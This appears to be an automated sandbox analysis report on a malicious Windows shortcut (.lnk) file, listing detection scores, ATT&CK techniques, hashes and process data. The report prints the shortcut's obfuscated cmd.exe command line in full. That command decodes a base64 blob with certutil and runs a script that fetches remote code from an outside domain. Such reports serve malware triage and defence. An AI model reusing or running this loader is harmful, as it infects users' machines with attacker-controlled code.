Windows
Analysis Report
WNKpB6SXkg.lnk
Overview
General Information
Detection
Score: | 52 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
- System is w10x64
- cmd.exe (PID: 5196 cmdline:
C:\Windows \system32\ cmd.exe /V /D/c md C: 58H8S5\>n ul 2>&1 && s^eT RYED= C: 58H8S5\ ^E58H8S5.^ jS&&echo d mFyIEM5ZWc 9InNjIisic iI7RDllZz0 iaXAiKyJ0O mgiO0U5ZWc 9IlQiKyJ0U CIrIjoiO0d ldE9iamVjd ChDOWVnK0Q 5ZWcrRTllZ ysiLy9lY2V pZTYuc2FvY nJhc3R1cmJ pbGhhb2Nvc 21lLmNvbS8 /MS8iKTs=> !RYED!&&cE rtUtil -f -dEco^de ! RYED! !RYE D!&&ca^ll !RYED! MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
- cleanup
Click to jump to signature section
Source: | Classification label: |
Data Obfuscation |
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Source: | Process created: |
Persistence and Installation Behavior |
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Source: | Process created: |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Thread injection, dropped files, key value created, disk infection and DNS query: |
Source: | Process created: |
Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Valid Accounts | 11 Command and Scripting Interpreter | Path Interception | Path Interception | 1 Deobfuscate/Decode Files or Information | OS Credential Dumping | 1 Process Discovery | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Data Obfuscation | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Joe Sandbox Version: | 36.0.0 Rainbow Opal |
Analysis ID: | 794218 |
Start date and time: | 2023-01-30 11:27:09 +01:00 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 2m 19s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Cookbook file name: | default.jbs |
Analysis system description: | Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211 |
Number of analysed new started processes analysed: | 2 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
|
Analysis Mode: | default |
Analysis stop reason: | Timeout |
Sample file name: | WNKpB6SXkg.lnk |
Detection: | MAL |
Classification: | mal52.winLNK@1/1@0/0 |
Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): conhost.exe
- Not all processes where analyzed, report is missing behavior information
Process: | C:\Windows\System32\cmd.exe |
File Type: | |
Category: | dropped |
Size (bytes): | 68 |
Entropy (8bit): | 4.257997723692869 |
Encrypted: | false |
SSDEEP: | 3:SMLL6QGHdpK1gi6HY:fRGHzK1/6HY |
MD5: | 75FC1E88767A57080C0EA1E86F00C243 |
SHA1: | 70953D42A0723F3CFB0684C4FC71988BC5C35D2F |
SHA-256: | B243E3431CF3FD2DA74278615CAA676AD4F4F806E23B19FCD398E83A7B02390D |
SHA-512: | 00EC8E87FBF3F1C42228F95954A066E3BED4B86406F31564C3BC386A8EBA4A41E2E0EC8837010A8CD8DF606B938A33A9A797C4EC7D9ACF7C34FABB837CC7BFC6 |
Malicious: | false |
Reputation: | low |
Preview: |
File type: | |
Entropy (8bit): | 5.493665403087596 |
TrID: |
|
File name: | WNKpB6SXkg.lnk |
File size: | 495 |
MD5: | dde2cf4cb9b483e8eb8a2d851deac816 |
SHA1: | 2cb939abfa8fec5622662eb8cf0baa1544e0569f |
SHA256: | 76ee775c99099f8f68656e8a9eacf657720add7110ba7f72e65cc538f595be4e |
SHA512: | 77b0e0a33bb00d021aed16fa0348fa8ed8e984fc913a91a629dee15bd74c78e696bb78c26a1c964bb61d62f2e1bdd87dc3f8596dcaf029d48db3b0be40014506 |
SSDEEP: | 12:8rflM8OBE6ZGfgKer0fmjdiuML4OmoRm79VNYzPoJKpu68K:8loGf/er0fmBML4Ojm7azPYn63 |
TLSH: | E7F0AB4EE1327DE2C10C65376E061F6C586E394B8FA82562EACF0FC810559C42F0D894 |
File Content Preview: | L..................F1... ...................................................]....P.O. .:i.....+00.../C:\......................+.2...........wINdOws\sYSteM32\conHost.EXe.....C:\wINdOws\sYSteM32-.%ComSpec% /V/D/c "md C:.58H8S5\>nul 2>&1 &&s^eT RYED=C:.58H8S |
Icon Hash: | 00828e868e89bd0d |
General | |
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Relative Path: | |
Command Line Argument: | %ComSpec% /V/D/c "md C:58H8S5\>nul 2>&1 &&s^eT RYED=C:58H8S5\^E58H8S5.^jS&&echo dmFyIEM5ZWc9InNjIisiciI7RDllZz0iaXAiKyJ0OmgiO0U5ZWc9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDOWVnK0Q5ZWcrRTllZysiLy9lY2VpZTYuc2FvYnJhc3R1cmJpbGhhb2Nvc21lLmNvbS8/MS8iKTs=>!RYED!&&cErtUtil -f -dEco^de !RYED! !RYED!&&ca^ll !RYED!" |
Icon location: |
Target ID: | 1 |
Start time: | 11:28:03 |
Start date: | 30/01/2023 |
Path: | C:\Windows\System32\cmd.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x7ff627730000 |
File size: | 273920 bytes |
MD5 hash: | 4E2ACF4F8A396486AB4268C94A6A245F |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |